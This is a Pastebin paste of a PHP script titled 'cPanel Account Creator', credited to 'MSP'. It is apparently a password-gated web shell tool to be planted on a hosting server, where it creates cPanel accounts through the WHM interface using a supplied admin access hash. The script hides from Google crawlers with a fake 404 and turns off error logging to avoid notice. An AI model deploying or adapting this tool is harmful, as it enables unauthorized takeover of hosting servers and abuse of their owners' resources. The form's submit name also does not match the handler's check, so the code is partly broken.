Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* (cPanel Account Creator - Recoded by MSP pass:" ./msp ") */
- $auth_pass = "7215ee9c7d9dc229d2921a40e899ec5f";
- $color = "maroon";
- $default_action = 'FilesMan';
- @define('SELF_PATH', __FILE__);
- if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- @session_start();
- @error_reporting(0);
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @define('VERSION', '2.1');
- if( get_magic_quotes_gpc() ) {
- function stripslashes_array($array) {
- return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
- }
- $_POST = stripslashes_array($_POST);
- }
- function printLogin() {
- ?>
- <body BGCOLOR="#000000">
- <p><center><img src="msp.png" width="320" height="125"></center>
- <br/>
- <center><font color="lime" size="4"><b><i>You Don't Have Permission to Access this site! Please <u>Insert Password</u> to Continue!</i></b></font></center>
- <br/>
- <address></address>
- <style>
- input { margin: 0; color: red; background-color: #fff; border: 3px inset #CCC; border-radius: 5px; }
- </style>
- <center>
- <form method=post >
- <input type=password name=pass >
- </form></center>
- <?php
- exit;
- }
- if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
- if( empty( $auth_pass ) ||
- ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- printLogin();
- set_time_limit(0);
- header('Content-Type: text/html; charset=UTF-8');
- $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
- function getVar($name, $def = '') {
- if (isset($_REQUEST[$name]))
- return $_REQUEST[$name];
- else
- return $def;
- }
- ?>
- <html>
- <head>
- <title>./M-sang-P cpanel hash</title>
- <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
- <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
- <link href='msp.png' rel='SHORTCUT ICON'/>
- </head>
- <style>
- input { border: 2px inset #fff; border-radius: 10px; font-size: 17px; color: red; background: #000000; padding: 5px; }
- body { font-size: 17px; font-family: monospace, trebuchet ms, arial; text-align: center; color: lime; background: #000000; }
- textarea { border : inset 2px #fff; padding: 5px; }
- .areaz { margin: auto; font-size: 17px; border: 2px inset #fff; width: 50%; border-radius: 10px; height: 150px; color: red; background: #000000; padding: 5px; }
- .button { border: 2px outset #fff; border-radius: 10px; font-size: 17px; color: red; background: #000000; padding: 5px; }
- #result {margin: 10px;}
- #result span {display:block;}
- #result .X {margin: 10px; background: #fff; border: 2px inset #fff; border-radius: 10px; color: red; text-align: justify; padding: 5px;}
- </style>
- <body onLoad="type_text()">
- <div id="result">
- <form method="post">
- <h1><font face="Audiowide"><b>[<font color="yellow">M-sang-P</font>]</b></font></h1>
- <hr>
- <b><u>create cPanel</u></b><br><br>
- <tr><td><b><center>Domain:</b></td> <td><center><input name="domain" size="20" type="text" value=""></td> <td><b><center>New User:</b></td> <td><center><input name="user" size="20" type="text" value=""></td> <td><b><center>Password:</b></td> <td><center><input name="password" size="20" type="text" value=""></td></tr>
- <br>
- <br>
- <input class="button" type="submit" name="msp" value="Create Account !">
- <br>
- <br>
- <center><img src="msp.png">
- <br />
- <!---Start code show hide by;"boedackpuchenbaroe"--->
- <div style="margin-bottom: 2px;">
- <div style="margin-top: 5px; text-align: center;">
- <input onclick="if (this.parentNode.parentNode.getElementsByTagName ('div')[1].getElementsByTagName('div')[0] .style.display != '') { this.parentNode.parentNode. getElementsByTagName('div')[1] .getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'TUTUP'; } else { this.parentNode.parentNode. getElementsByTagName('div')[1] .getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Re-Coded by: Saint Regan'; }" style="font-size: 12px; margin-top: 5px; width: 40px;" type="button" value="Re-Coded by: ./MSP"> </div> <div style="background-color: #000000; border- bottom: 1px solid #40f; border-left: 4px solid #40f; border-right: 1px solid #40f; border-top: 1px solid #40f; margin: 0px; padding: 6px;"> <div style="display: none;"> <span style="color:lime; font-style: italic;">
- <textarea class="areaz" name="hash"></textarea>
- <br>
- <br>
- <center>
- <table border="0">
- <tr><td><b><center>Host:</b></td> <td><center><input name="host" size="20" type="text" value=""></td> <td><b><center>Admin User:</b></td> <td><center><input name="admin" size="20" type="text" value=""></td> <td><b><center>Package:<br></td> <td><center><input name="package" size="20" type="text" value=""></td></tr></div>
- </div>
- <!---End code show hide by;"boedackpuchenbaroe"---><br /><br />
- </table>
- </center>
- </form></div>
- <?php
- set_time_limit(0);
- if(isset($_POST['rdpc'])){
- echo '<div id="result">';
- if (!isset($whm_user)) {
- $whm_user = getVar('admin');
- }
- if (!isset($whm_host)) {
- $whm_host = getVar('host');
- }
- $whm_usessl = 1;
- if (!isset($whm_key)) {
- $whm_key = getVar('hash');
- }
- if (!isset($user_domain)) {
- $user_domain = getVar('domain');
- }
- if (!isset($user_name)) {
- $user_name = getVar('user');
- }
- if (!isset($user_pass)) {
- $user_pass = getVar('password');
- }
- if (!isset($user_plan)) {
- $user_plan = getVar('package');
- }
- if (!file_exists($whm_interface_path)) {
- die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
- }
- if (!empty($user_name)) {
- // load cPanel WHM interface functions
- require_once $whm_interface_path;
- $result = createacct ($whm_host,$whm_user,$whm_key,$whm_usessl,$user_domain,$user_name,$user_pass,$user_plan);
- }
- echo "<h2><b><u>RESULT:</u></b></h2> <span class=X>$result</span>";
- echo "</div>";
- }
- ?>
- <br>
- <hr>
- </body>
- </html>
Add Comment
Please, Sign In to add comment